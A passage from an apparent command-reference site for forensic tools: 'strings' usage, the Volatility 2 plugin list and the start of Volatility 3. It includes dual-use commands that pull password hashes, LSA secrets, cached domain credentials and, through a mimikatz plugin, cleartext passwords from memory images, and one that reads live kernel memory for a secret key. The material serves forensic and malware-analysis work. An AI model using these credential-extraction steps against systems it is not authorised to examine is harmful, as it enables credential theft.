-exec strings -f {} + | grep '192.168.' ``` Example: ```bash find /suspicious -name '*.exe' -exec strings -f {} + | grep '192.168.' ``` Recursively finds all EXE files in a directory and scans them for a specific local IP range. ## Advanced Filtering ### strings -t x sample.bin | awk '{print $1, $2}' ```bash strings -t x sample.bin | awk '{print $1, $2}' ``` Example: ```bash strings -t x firmware.bin | awk '{print $1, $2}' ``` Uses AWK to clean output, printing only the offset and the first word of the string string. ### strings sample.bin | tr -d '\n' | grep -o 'http[^ ]*' ```bash strings sample.bin | tr -d '\n' | grep -o 'http[^ ]*' ``` Example: ```bash strings blob.dat | tr -d '\n' | grep -o 'http[^ ]*' ``` Removes newlines to treat output as a stream and extracts full URLs without breaks. ## Blue Team Defensive Validation ### strings -n 50 codebase_build.exe ```bash strings -n 50 codebase_build.exe ``` Example: ```bash strings -n 50 internal_tool.exe ``` Checks compiled internal binaries for accidentally left-in long debug messages or API keys. ### strings lib.so | grep 'GLIBC' ```bash strings lib.so | grep 'GLIBC' ``` Example: ```bash strings application.o | grep 'GLIBC' ``` Verifies linked library versions and dependencies in Linux ELF binaries. ### strings -a production_config.dat | grep -iE '(key|token|secret)' ```bash strings -a production_config.dat | grep -iE '(key|token|secret)' ``` Example: ```bash strings -a app.config | grep -iE '(key|token|secret)' ``` Scans configuration binaries for hardcoded secrets or tokens before deployment. ## Digital Forensics Reporting ### strings -t x -e l sample.bin > unicode_artifacts.txt ```bash strings -t x -e l sample.bin > unicode_artifacts.txt ``` Example: ```bash strings -t x -e l evidence.001 > unicode_artifacts.txt ``` Generates a comprehensive report of Unicode artifacts with offsets for a forensic case file. ### strings -a sample.bin | md5sum ```bash strings -a sample.bin | md5sum ``` Example: ```bash strings -a malware.exe | md5sum ``` Calculates a hash of the extracted strings to create a signature for the string content independent of the binary wrapper. ## Advanced Encoding Workflows ### strings -e S -n 6 sample.bin ```bash strings -e S -n 6 sample.bin ``` Example: ```bash strings -e S -n 6 firmware_dump.bin ``` Targets 8-bit character encoding with a minimum length of 6 to find non-standard ASCII tables. ### strings -e B -t x sample.bin ```bash strings -e B -t x sample.bin ``` Example: ```bash strings -e B -t x powerpc_dump.bin ``` Analyzes Big-Endian 32-bit architecture dumps (like PowerPC or older Mac) for readable text. ## Targeted Artifact Hunting ### strings sample.bin | grep -i 'registry' ```bash strings sample.bin | grep -i 'registry' ``` Example: ```bash strings malware.exe | grep -i 'registry' ``` Looks for references to Windows Registry modification or querying activities. ### strings sample.bin | grep -i '\.onion' ```bash strings sample.bin | grep -i '\.onion' ``` Example: ```bash strings ransomware.exe | grep -i '\.onion' ``` specifically searches for Tor hidden service addresses often used in ransomware notes. ### strings sample.bin | grep -i 'bitcoin:' ```bash strings sample.bin | grep -i 'bitcoin:' ``` Example: ```bash strings crypto_stealer.exe | grep -i 'bitcoin:' ``` Searches for cryptocurrency wallet addresses or payment URI schemes. ## Advanced Forensics ### strings -a -t x sample.bin | grep '4d 5a' ```bash strings -a -t x sample.bin | grep '4d 5a' ``` Example: ```bash strings -a -t x memory.dmp | grep '4d 5a' ``` Looks for string representations of the MZ header to identify embedded executables (less reliable than hex editors but useful). ### strings sample.bin | grep -E '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' ```bash strings sample.bin | grep -E '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' ``` Example: ```bash strings dump.pst | grep -E '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6}' ``` Extracts email addresses using a standard regex pattern. ## Section Analysis ### objcopy -O binary --only-section=.text sample.elf /dev/stdout | strings ```bash objcopy -O binary --only-section=.text sample.elf /dev/stdout | strings ``` Example: ```bash objcopy -O binary --only-section=.text malicious.elf /dev/stdout | strings ``` Extracts only the .text (code) section of an ELF binary and pipes it to strings to ignore data sections. ### objcopy -O binary --only-section=.rdata sample.exe /dev/stdout | strings ```bash objcopy -O binary --only-section=.rdata sample.exe /dev/stdout | strings ``` Extracts the .rdata (read-only data) section where constants and import tables are usually stored. ## Complex Piping ### strings sample.bin | grep -vE '^.{0,4}$' | sort | uniq ```bash strings sample.bin | grep -vE '^.{0,4}$' | sort | uniq ``` Example: ```bash strings noise.bin | grep -vE '^.{0,4}$' | sort | uniq ``` Filters out very short strings (less than 5 chars), sorts the remainder, and removes duplicates. ### strings -e l sample.bin | iconv -f UTF-16LE -t UTF-8 ```bash strings -e l sample.bin | iconv -f UTF-16LE -t UTF-8 ``` Example: ```bash strings -e l windows.bin | iconv -f UTF-16LE -t UTF-8 ``` Extracts Little Endian strings and converts them to UTF-8 for easier processing by other terminal tools. ## Timeline Analysis ### strings sample.bin | grep -E '(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) [0-9]{1,2}' ```bash strings sample.bin | grep -E '(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) [0-9]{1,2}' ``` Example: ```bash strings system.log | grep -E '(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) [0-9]{1,2}' ``` Searches for standard syslog timestamps to build a rudimentary timeline from a binary blob. ## Obfuscation Detection ### strings sample.bin | awk 'length($0) > 100' ```bash strings sample.bin | awk 'length($0) > 100' ``` Example: ```bash strings packed.exe | awk 'length($0) > 100' ``` Isolates extremely long strings which may indicate packed data, base64 blobs, or embedded keys. ### strings -n 3 sample.bin | grep -E '^[a-zA-Z]+$' ```bash strings -n 3 sample.bin | grep -E '^[a-zA-Z]+$' ``` Example: ```bash strings obfuscated.js | grep -E '^[a-zA-Z]+$' ``` Filters for pure alphabetic strings to detect variable names or function calls in obfuscated scripts. ## Cross-Platform Analysis ### strings -e b -t x firmware.bin > big_endian_strings.txt ```bash strings -e b -t x firmware.bin > big_endian_strings.txt ``` Example: ```bash strings -e b -t x router_firmware.bin > big_endian_strings.txt ``` Creates a specific extraction file for Big Endian architecture targets often found in IoT devices. ## Live Memory Analysis ### sudo cat /proc/kcore | strings -n 10 | grep 'secret_key' ```bash sudo cat /proc/kcore | strings -n 10 | grep 'secret_key' ``` Reads the live kernel memory (dangerous/requires root) and searches for a specific key in memory. ## File Identification ### strings sample.bin | head -n 5 ```bash strings sample.bin | head -n 5 ``` Example: ```bash strings unknown_file | head -n 5 ``` Checks the very beginning of the file for readable headers (like 'ELF', 'MZ', 'JFIF') to identify file type. ## Compiler Artifacts ### strings sample.bin | grep -i 'gcc' ```bash strings sample.bin | grep -i 'gcc' ``` Example: ```bash strings linux_malware | grep -i 'gcc' ``` Searches for GCC version strings to identify the compiler version and environment used by the attacker. ### strings sample.bin | grep -i 'visual studio' ```bash strings sample.bin | grep -i 'visual studio' ``` Example: ```bash strings windows_malware | grep -i 'visual studio' ``` Identifies if the binary was compiled with Visual Studio, potentially revealing the linker version. ## Cleanup ### strings sample.bin > /dev/null ```bash strings sample.bin > /dev/null ``` Example: ```bash strings large_file.bin > /dev/null ``` Runs strings and discards output, useful for testing command execution time or stability on large files. ## Related tools - [objdump](https://terminal.rokibulroni.com/tool/reversing/objdump) - [Binwalk](https://terminal.rokibulroni.com/tool/forensics/binwalk) - [bulk_extractor](https://terminal.rokibulroni.com/tool/forensics/bulk-extractor) # Tool: Volatility 2 > The original Python 2 memory-forensics framework using profiles. Superseded by Volatility 3 but still found in older workflows and courses. - Category: Forensics - Commands: 85 - Page: https://terminal.rokibulroni.com/tool/forensics/volatility - Homepage: https://github.com/volatilityfoundation/volatility - Documentation: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference - Tags: memory forensics, DFIR, legacy ## Basic Memory Analysis ### volatility -f memory.img imageinfo ```bash volatility -f memory.img imageinfo ``` Identifies the operating system profile and basic information from a memory image ### volatility -f memory.img kdbgscan ```bash volatility -f memory.img kdbgscan ``` Scans for the KDBG structure to identify the correct profile if imageinfo fails ## Process Analysis ### volatility -f memory.img --profile=Win7SP1x64 pslist ```bash volatility -f memory.img --profile=Win7SP1x64 pslist ``` Lists high-level running processes by walking the doubly linked list of EPROCESS structures ### volatility -f memory.img --profile=Win7SP1x64 psscan ```bash volatility -f memory.img --profile=Win7SP1x64 psscan ``` Scans physical memory for EPROCESS pool tags to find unlinked or hidden processes ### volatility -f memory.img --profile=Win7SP1x64 pstree ```bash volatility -f memory.img --profile=Win7SP1x64 pstree ``` Displays processes in a tree format to visualize parent-child relationships ### volatility -f memory.img --profile=Win7SP1x64 psxview ```bash volatility -f memory.img --profile=Win7SP1x64 psxview ``` Compares process lists from different sources like pslist and psscan to detect hiding techniques ### volatility -f memory.img --profile=Win7SP1x64 privs -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 privs -p 1234 ``` Displays process privileges for a specific PID to check for escalation or extensive rights ### volatility -f memory.img --profile=Win7SP1x64 envars -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 envars -p 1234 ``` Displays environment variables for a specific process which may contain paths or configurations ### volatility -f memory.img --profile=Win7SP1x64 getsids -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 getsids -p 1234 ``` Prints the Security Identifiers (SIDs) associated with a process to understand ownership ### volatility -f memory.img --profile=Win7SP1x64 verinfo -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 verinfo -p 1234 ``` Displays version information embedded in the binary of a running process ## DLL and Module Analysis ### volatility -f memory.img --profile=Win7SP1x64 dlllist -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 dlllist -p 1234 ``` Lists loaded dynamic link libraries (DLLs) for a specific process ### volatility -f memory.img --profile=Win7SP1x64 ldrmodules -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 ldrmodules -p 1234 ``` Detects unlinked DLLs by comparing the VAD with the PEB module list ## Network Analysis ### volatility -f memory.img --profile=Win7SP1x64 netscan ```bash volatility -f memory.img --profile=Win7SP1x64 netscan ``` Scans for network artifacts like connections and sockets on Windows Vista and later ### volatility -f memory.img --profile=WinXPSP2x86 connscan ```bash volatility -f memory.img --profile=WinXPSP2x86 connscan ``` Scans for active TCP connections on older Windows XP and Server 2003 systems ### volatility -f memory.img --profile=WinXPSP2x86 sockets ```bash volatility -f memory.img --profile=WinXPSP2x86 sockets ``` Prints a list of open sockets on older Windows XP and Server 2003 systems ## System Artifacts ### volatility -f memory.img --profile=Win7SP1x64 cmdscan ```bash volatility -f memory.img --profile=Win7SP1x64 cmdscan ``` Extracts command history buffers from csrss.exe on XP and Win7 ### volatility -f memory.img --profile=Win7SP1x64 consoles ```bash volatility -f memory.img --profile=Win7SP1x64 consoles ``` Scans for console information to retrieve command history and screen output ### volatility -f memory.img --profile=Win7SP1x64 svcscan ```bash volatility -f memory.img --profile=Win7SP1x64 svcscan ``` Scans for Windows service records and displays their state and binary path ## Handle and File Analysis ### volatility -f memory.img --profile=Win7SP1x64 handles -p 1234 -t File ```bash volatility -f memory.img --profile=Win7SP1x64 handles -p 1234 -t File ``` Lists open file handles for a specific process to see what files it is accessing ### volatility -f memory.img --profile=Win7SP1x64 handles -p 1234 -t Mutant ```bash volatility -f memory.img --profile=Win7SP1x64 handles -p 1234 -t Mutant ``` Lists mutant/mutex handles for a process often used for malware persistence checks ### volatility -f memory.img --profile=Win7SP1x64 filescan ```bash volatility -f memory.img --profile=Win7SP1x64 filescan ``` Scans memory for FILE_OBJECTs to find open files across the entire system ### volatility -f memory.img --profile=Win7SP1x64 mutantscan ```bash volatility -f memory.img --profile=Win7SP1x64 mutantscan ``` Scans memory for global mutexes which can indicate presence of specific malware families ## Malware Analysis ### volatility -f memory.img --profile=Win7SP1x64 malfind -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 malfind -p 1234 ``` Scans for injected code and memory regions with RWX permissions often used by malware ### volatility -f memory.img --profile=Win7SP1x64 apihooks ```bash volatility -f memory.img --profile=Win7SP1x64 apihooks ``` Detects API hooks in user mode and kernel mode to find rootkits or spyware ### volatility -f memory.img --profile=Win7SP1x64 ssdt ```bash volatility -f memory.img --profile=Win7SP1x64 ssdt ``` Analyses the System Service Descriptor Table for hooked functions ### volatility -f memory.img --profile=Win7SP1x64 driverirp ```bash volatility -f memory.img --profile=Win7SP1x64 driverirp ``` Scans for hooked IRP (I/O Request Packet) major function tables in drivers ### volatility -f memory.img --profile=Win7SP1x64 idt ```bash volatility -f memory.img --profile=Win7SP1x64 idt ``` Displays the Interrupt Descriptor Table to check for malicious interrupt handlers ### volatility -f memory.img --profile=Win7SP1x64 gdt ```bash volatility -f memory.img --profile=Win7SP1x64 gdt ``` Displays the Global Descriptor Table to check for memory segmentation anomalies ### volatility -f memory.img --profile=Win7SP1x64 callbacks ```bash volatility -f memory.img --profile=Win7SP1x64 callbacks ``` Lists kernel callbacks used by drivers to monitor process, thread, and image loading ### volatility -f memory.img --profile=Win7SP1x64 timers ```bash volatility -f memory.img --profile=Win7SP1x64 timers ``` Scans for kernel timers which can be used by malware to schedule delayed execution ### volatility -f memory.img --profile=Win7SP1x64 devicetree ```bash volatility -f memory.img --profile=Win7SP1x64 devicetree ``` Maps the relationship between drivers and device objects to find hidden devices ## Memory Extraction ### volatility -f memory.img --profile=Win7SP1x64 procdump -p 1234 -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 procdump -p 1234 -D ./output/ ``` Dumps a process executable from memory to disk for static analysis ### volatility -f memory.img --profile=Win7SP1x64 memdump -p 1234 -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 memdump -p 1234 -D ./output/ ``` Dumps the addressable memory of a process into a single file ### volatility -f memory.img --profile=Win7SP1x64 vaddump -p 1234 -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 vaddump -p 1234 -D ./output/ ``` Dumps individual VAD (Virtual Address Descriptor) segments useful for unpacking malware ### volatility -f memory.img --profile=Win7SP1x64 dlldump -p 1234 -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 dlldump -p 1234 -D ./output/ ``` Extracts DLLs from a process memory space to disk ### volatility -f memory.img --profile=Win7SP1x64 moddump -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 moddump -D ./output/ ``` Dumps kernel drivers and modules to disk ### volatility -f memory.img --profile=Win7SP1x64 dumpfiles -Q 0x000000007e05d1b0 -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 dumpfiles -Q 0x000000007e05d1b0 -D ./output/ ``` Extracts a file from memory using its physical offset found via filescan ## Registry Analysis ### volatility -f memory.img --profile=Win7SP1x64 hivelist ```bash volatility -f memory.img --profile=Win7SP1x64 hivelist ``` Lists available registry hives and their virtual offsets in memory ### volatility -f memory.img --profile=Win7SP1x64 printkey -o 0x87654321 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ```bash volatility -f memory.img --profile=Win7SP1x64 printkey -o 0x87654321 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` Prints subkeys and values of a specific registry key using the hive offset ### volatility -f memory.img --profile=Win7SP1x64 userassist ```bash volatility -f memory.img --profile=Win7SP1x64 userassist ``` Parses UserAssist registry keys to see what programs were recently executed ### volatility -f memory.img --profile=Win7SP1x64 dumpregistry -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 dumpregistry -D ./output/ ``` Dumps all available registry hives from memory to disk ## Credential Theft ### volatility -f memory.img --profile=Win7SP1x64 hashdump ```bash volatility -f memory.img --profile=Win7SP1x64 hashdump ``` Extracts and decrypts NTLM password hashes from the SAM registry hive ### volatility -f memory.img --profile=Win7SP1x64 lsadump ```bash volatility -f memory.img --profile=Win7SP1x64 lsadump ``` Extracts LSA secrets including service account passwords and potential cleartext credentials ### volatility -f memory.img --profile=Win7SP1x64 cachedump ```bash volatility -f memory.img --profile=Win7SP1x64 cachedump ``` Extracts cached domain credentials (MSCACHE) from the registry ## User Activity ### volatility -f memory.img --profile=Win7SP1x64 clipboard ```bash volatility -f memory.img --profile=Win7SP1x64 clipboard ``` Extracts the contents of the Windows clipboard ### volatility -f memory.img --profile=Win7SP1x64 screenshot -D ./output/ ```bash volatility -f memory.img --profile=Win7SP1x64 screenshot -D ./output/ ``` Attempts to recover GDI screenshots of user desktops ### volatility -f memory.img --profile=Win7SP1x64 iehistory ```bash volatility -f memory.img --profile=Win7SP1x64 iehistory ``` Recovers Internet Explorer history artifacts and URLs ## Advanced Forensics ### volatility -f memory.img --profile=Win7SP1x64 mftparser ```bash volatility -f memory.img --profile=Win7SP1x64 mftparser ``` Scans memory for MFT entries to reconstruct deleted file metadata ### volatility -f memory.img --profile=Win7SP1x64 shellbags ```bash volatility -f memory.img --profile=Win7SP1x64 shellbags ``` Parses Shellbag artifacts to reveal folder access history and user navigation ### volatility -f memory.img --profile=Win7SP1x64 shimcache ```bash volatility -f memory.img --profile=Win7SP1x64 shimcache ``` Parses the Application Compatibility Cache to track execution evidence ### volatility -f memory.img --profile=Win7SP1x64 amcache ```bash volatility -f memory.img --profile=Win7SP1x64 amcache ``` Parses AmCache.hve artifacts for execution history and program metadata ### volatility -f memory.img --profile=Win7SP1x64 vadinfo -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 vadinfo -p 1234 ``` Displays detailed VAD information including protection levels and memory mapping ### volatility -f memory.img --profile=Win7SP1x64 vadwalk -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 vadwalk -p 1234 ``` Walks the VAD tree to inspect memory page tables ## Threat Hunting ### volatility -f memory.img --profile=Win7SP1x64 yarascan --yara-file=malware.yar ```bash volatility -f memory.img --profile=Win7SP1x64 yarascan --yara-file=malware.yar ``` Scans memory using YARA rules to find signatures of known malware ### volatility -f memory.img --profile=Win7SP1x64 yarascan -Y 'string_to_find' ```bash volatility -f memory.img --profile=Win7SP1x64 yarascan -Y 'string_to_find' ``` Searches for a specific string pattern across process memory or kernel memory ## Timeline Analysis ### volatility -f memory.img --profile=Win7SP1x64 timeliner ```bash volatility -f memory.img --profile=Win7SP1x64 timeliner ``` Creates a comprehensive timeline of events from all supported plugins ### volatility -f memory.img --profile=Win7SP1x64 timeliner --type=Process ```bash volatility -f memory.img --profile=Win7SP1x64 timeliner --type=Process ``` Generates a timeline filtered specifically for process creation and exit events ## Kernel Analysis ### volatility -f memory.img --profile=Win7SP1x64 modules ```bash volatility -f memory.img --profile=Win7SP1x64 modules ``` Lists loaded kernel modules and drivers ### volatility -f memory.img --profile=Win7SP1x64 modscan ```bash volatility -f memory.img --profile=Win7SP1x64 modscan ``` Scans memory for pool tags to find unloaded or hidden kernel modules ### volatility -f memory.img --profile=Win7SP1x64 kpcrscan ```bash volatility -f memory.img --profile=Win7SP1x64 kpcrscan ``` Scans for the Kernel Processor Control Region to analyze CPU state ### volatility -f memory.img --profile=Win7SP1x64 thrdscan ```bash volatility -f memory.img --profile=Win7SP1x64 thrdscan ``` Scans for ETHREAD objects to find threads that may belong to hidden processes ## Code Injection Analysis ### volatility -f memory.img --profile=Win7SP1x64 hollowfind -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 hollowfind -p 1234 ``` Detects process hollowing by comparing the VAD to the PE header ### volatility -f memory.img --profile=Win7SP1x64 threadmap -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 threadmap -p 1234 ``` Analyzes threads to find code injection where the start address doesn't map to a module ## Utility ### volatility -f memory.img --profile=Win7SP1x64 bioskbd ```bash volatility -f memory.img --profile=Win7SP1x64 bioskbd ``` Attempts to read the BIOS keyboard buffer for keystrokes ### volatility -f memory.img --profile=Win7SP1x64 crashinfo ```bash volatility -f memory.img --profile=Win7SP1x64 crashinfo ``` Displays crash dump information if the memory image is a crash dump ### volatility -f memory.img --profile=Win7SP1x64 hibinfo ```bash volatility -f memory.img --profile=Win7SP1x64 hibinfo ``` Displays information stored in a hibernation file header ### volatility -f memory.img --profile=Win7SP1x64 kdbgscan --kdbg=0xf8000285b0a0 ```bash volatility -f memory.img --profile=Win7SP1x64 kdbgscan --kdbg=0xf8000285b0a0 ``` Forces the usage of a specific KDBG address to speed up plugin execution ## Import Analysis ### volatility -f memory.img --profile=Win7SP1x64 impscan -p 1234 ```bash volatility -f memory.img --profile=Win7SP1x64 impscan -p 1234 ``` Scans for calls to imported functions which helps analyzing injected shellcode ## Scanning ### volatility -f memory.img --profile=Win7SP1x64 patcher ```bash volatility -f memory.img --profile=Win7SP1x64 patcher ``` Scans for inline patching or hooks in system libraries ## Advanced/Plugin ### volatility -f memory.img --profile=Win7SP1x64 mimikatz ```bash volatility -f memory.img --profile=Win7SP1x64 mimikatz ``` Extracts clear text passwords from memory using the Mimikatz plugin functionality ### volatility -f memory.img --profile=Win7SP1x64 chromehistory ```bash volatility -f memory.img --profile=Win7SP1x64 chromehistory ``` Attempts to recover browsing history artifacts from Chrome processes ## Output Formatting ### volatility -f memory.img --profile=Win7SP1x64 pslist --output=json ```bash volatility -f memory.img --profile=Win7SP1x64 pslist --output=json ``` Runs the pslist command and outputs the results in JSON format ### volatility -f memory.img --profile=Win7SP1x64 pslist --output=html --output-file=report.html ```bash volatility -f memory.img --profile=Win7SP1x64 pslist --output=html --output-file=report.html ``` Exports the process list to an HTML report file ## Linux Analysis ### volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_pslist ```bash volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_pslist ``` Lists running processes for a Linux memory image ### volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_lsof ```bash volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_lsof ``` Lists open files for processes in a Linux memory image ### volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_bash ```bash volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_bash ``` Recovers bash history from running shells in Linux memory ### volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_mount ```bash volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_mount ``` Displays mounted filesystems in a Linux memory image ### volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_check_fop ```bash volatility -f linux.mem --profile=LinuxUbuntu_x64 linux_check_fop ``` Checks for hooked file operation structures in the Linux kernel ## Mac Analysis ### volatility -f mac.mem --profile=MacMountainLion_x64 mac_pslist ```bash volatility -f mac.mem --profile=MacMountainLion_x64 mac_pslist ``` Lists running processes for a Mac OS X memory image ### volatility -f mac.mem --profile=MacMountainLion_x64 mac_tasks ```bash volatility -f mac.mem --profile=MacMountainLion_x64 mac_tasks ``` Lists active tasks in a Mac OS X memory image ## Automation ### volatility -f memory.img --profile=Win7SP1x64 imageinfo --output-file=info.txt ```bash volatility -f memory.img --profile=Win7SP1x64 imageinfo --output-file=info.txt ``` Saves image identification output to a text file for automated scripts ### volatility -f memory.img --profile=Win7SP1x64 shutdowntime ```bash volatility -f memory.img --profile=Win7SP1x64 shutdowntime ``` Reads the shutdown time from the registry to determine the last clean shutdown ## Process Analysis ### volatility -f memory.img --profile=Win7SP1x64 joblinks ```bash volatility -f memory.img --profile=Win7SP1x64 joblinks ``` Walks the job object links to find processes grouped in jobs ## Advanced/Plugin ### volatility -f memory.img --profile=Win7SP1x64 deskscan ```bash volatility -f memory.img --profile=Win7SP1x64 deskscan ``` Scans for desktop objects and threads associated with them ### volatility -f memory.img --profile=Win7SP1x64 atoms ```bash volatility -f memory.img --profile=Win7SP1x64 atoms ``` Lists session and window station atom tables ## Related tools - [Volatility 3](https://terminal.rokibulroni.com/tool/forensics/volatility3) # Tool: Volatility 3 > The current memory-forensics framework: analyse RAM images from Windows, Linux and macOS for processes, network connections, injected code and more. - Category: Forensics - Commands: 75 - Page: https://terminal.rokibulroni.com/tool/forensics/volatility3 - Homepage: https://github.com/volatilityfoundation/volatility3 - Documentation: https://volatility3.readthedocs.io - Tags: memory forensics, DFIR, malware ## Install - apt: `sudo apt install volatility3` - pipx: `pipx install volatility3` ## Basic Usage & Setup ### vol -h ```bash vol -h ``` Displays the main help menu, available flags, and configured plugin list. ### vol -f memory.img windows.info ```bash vol -f memory.img windows.info ``` Example: ```bash vol -f win10.mem windows.info ``` Identifies the Windows operating system version, build number, and architecture from the memory image. ### vol -f memory.img -v windows.info ```bash vol -f memory.img -v windows.info ``` Example: ```bash vol -f win10.mem -v windows.info ``` Runs the info plugin with verbose output to show detailed layer information and symbol table loading. ### vol -f memory.img -s /path/to/symbols windows.info ```bash vol -f memory.img -s /path/to/symbols windows.info ``` Example: ```bash vol -f win10.mem -s ./symbols windows.info ``` Specifies a custom path for symbol tables to aid in offline analysis or air-gapped investigations. ## Process Enumeration ### vol -f memory.img windows.pslist ```bash vol -f memory.img windows.pslist ``` Example: ```bash vol -f win10.mem windows.pslist ``` Lists high-level running processes by walking the doubly-linked list of ActiveProcessLinks in the kernel. ### vol -f memory.img windows.pslist --pid ```bash vol -f memory.img windows.pslist --pid ``` Example: ```bash vol -f win10.mem windows.pslist --pid 4520 ``` Filters the process list to display details for a specific Process ID only. ### vol -f memory.img windows.psscan ```bash vol -f memory.img windows.psscan ``` Example: ```bash vol -f win10.mem windows.psscan ``` Scans physical memory for EPROCESS pool allocations to find unlinked, hidden, or terminated processes. ### vol -f memory.img windows.pstree ```bash vol -f memory.img windows.pstree ``` Example: ```bash vol -f win10.mem windows.pstree ``` Visualizes the process hierarchy and parent-child relationships using indentation. ### vol -f memory.img windows.cmdline ```bash vol -f memory.img windows.cmdline ``` Example: ```bash vol -f win10.mem windows.cmdline ``` Extracts the command line arguments used to launch processes, useful for detecting malicious parameters. ### vol -f memory.img windows.envars ```bash vol -f memory.img windows.envars ``` Example: ```bash vol -f win10.mem windows.envars ``` Displays environment variables for processes, revealing paths, user profiles, and session information. ## Deep Process Analysis ### vol -f memory.img windows.dlllist ```bash vol -f memory.img windows.dlllist ``` Example: ```bash vol -f win10.mem windows.dlllist ``` Lists dynamic link libraries (DLLs) loaded by processes to identify injected modules or unexpected dependencies. ### vol -f memory.img windows.dlllist --pid ```bash vol -f memory.img windows.dlllist --pid ``` Example: ```bash vol -f win10.mem windows.dlllist --pid 1024 ``` Isolates loaded modules for a single suspicious process to reduce noise during analysis. ### vol -f memory.img windows.ldrmodules ```bash vol -f memory.img windows.ldrmodules ``` Example: ```bash vol -f win10.mem windows.ldrmodules ``` Compares the VAD tree, PEB list, and module list to detect unlinked or hidden DLLs used by rootkits. ### vol -f memory.img windows.handles ```bash vol -f memory.img windows.handles ``` Example: ```bash vol -f win10.mem windows.handles ``` Lists open handles (files, registry keys, mutexes, threads) for all processes. ### vol -f memory.img windows.handles --pid ```bash vol -f memory.img windows.handles --pid ``` Example: ```bash vol -f win10.mem windows.handles --pid 4520 ``` Inspects open resources for a specific process to identify locked files or synchronization markers. ### vol -f memory.img windows.privileges ```bash vol -f memory.img windows.privileges ``` Example: ```bash vol -f win10.mem windows.privileges ``` Enumerates process tokens and privileges to detect privilege escalation or system-level access. ## Network Analysis ### vol -f memory.img windows.netscan ```bash vol -f memory.img windows.netscan ``` Example: ```bash vol -f win10.mem windows.netscan ``` Scans for network artifacts (TCP endpoints, UDP listeners) including closed or terminated connections. ### vol -f memory.img windows.netstat ```bash vol -f memory.img windows.netstat ``` Example: ```bash vol -f win10.mem windows.netstat ``` Lists active network connections derived from the system's network stack structures. ## Kernel & Driver Analysis ### vol -f memory.img windows.driverscan ```bash vol -f memory.img windows.driverscan ``` Example: ```bash vol -f win10.mem windows.driverscan ``` Scans physical memory for DRIVER_OBJECT structures to identify loaded kernel drivers. ### vol -f memory.img windows.modules ```bash vol -f memory.img windows.modules ``` Example: ```bash vol -f win10.mem windows.modules ``` Lists loaded kernel modules and their base addresses, similar to the lsmod command in Linux. ### vol -f memory.img windows.ssdt ```bash vol -f memory.img windows.ssdt ``` Example: ```bash vol -f win10.mem windows.ssdt ``` Enumerates the System Service Descriptor Table to detect kernel-level API hooking. ### vol -f memory.img windows.callbacks ```bash vol -f memory.img windows.callbacks ``` Example: ```bash vol -f win10.mem windows.callbacks ``` Lists kernel callback routines often used by malware for persistence or AV evasion. ## File System Forensics ### vol -f memory.img windows.filescan ```bash vol -f memory.img windows.filescan ``` Example: ```bash vol -f win10.mem windows.filescan ``` Scans memory for FILE_OBJECT structures to find open files, even those without active handles. ### vol -f memory.img windows.mftscan ```bash vol -f memory.img windows.mftscan ``` Example: ```bash vol -f win10.mem windows.mftscan ``` Scans for Master File Table (MFT) record segments resident in memory to recover deleted file metadata. ## Malware Analysis ### vol -f memory.img windows.malfind ```bash vol -f memory.img windows.malfind ``` Example: ```bash vol -f win10.mem windows.malfind ``` Scans for code injection by looking for executable memory pages that are not backed by a file on disk. ### vol -f memory.img windows.malfind --pid --dump ```bash vol -f memory.img windows.malfind --pid --dump ``` Example: ```bash vol -f win10.mem windows.malfind --pid 4520 --dump ``` Detects injected code in a specific process and extracts the memory segments to disk for analysis. ### vol -f memory.img windows.vadinfo ```bash vol -f memory.img windows.vadinfo ``` Example: ```bash vol -f win10.mem windows.vadinfo ``` Inspects the Virtual Address Descriptor (VAD) tree to analyze memory protection and mapping attributes. ### vol -f memory.img windows.vadinfo --pid ```bash vol -f memory.img windows.vadinfo --pid ``` Example: ```bash vol -f win10.mem windows.vadinfo --pid 4520 ``` Details the memory regions of a specific process to identify shellcode or unpacked malware segments. ## Registry Forensics ### vol -f memory.img windows.registry.hivelist ```bash vol -f memory.img windows.registry.hivelist ``` Example: ```bash vol -f win10.mem windows.registry.hivelist ``` Lists the physical addresses of available registry hives (SAM, SYSTEM, SOFTWARE, NTUSER.DAT). ### vol -f memory.img windows.registry.hivescan ```bash vol -f memory.img windows.registry.hivescan ``` Example: ```bash vol -f win10.mem windows.registry.hivescan ``` Scans memory for pool tags associated with registry hives to recover unloaded or partial hives. ### vol -f memory.img windows.registry.printkey --key ```bash vol -f memory.img windows.registry.printkey --key ``` Example: ```bash vol -f win10.mem windows.registry.printkey --key 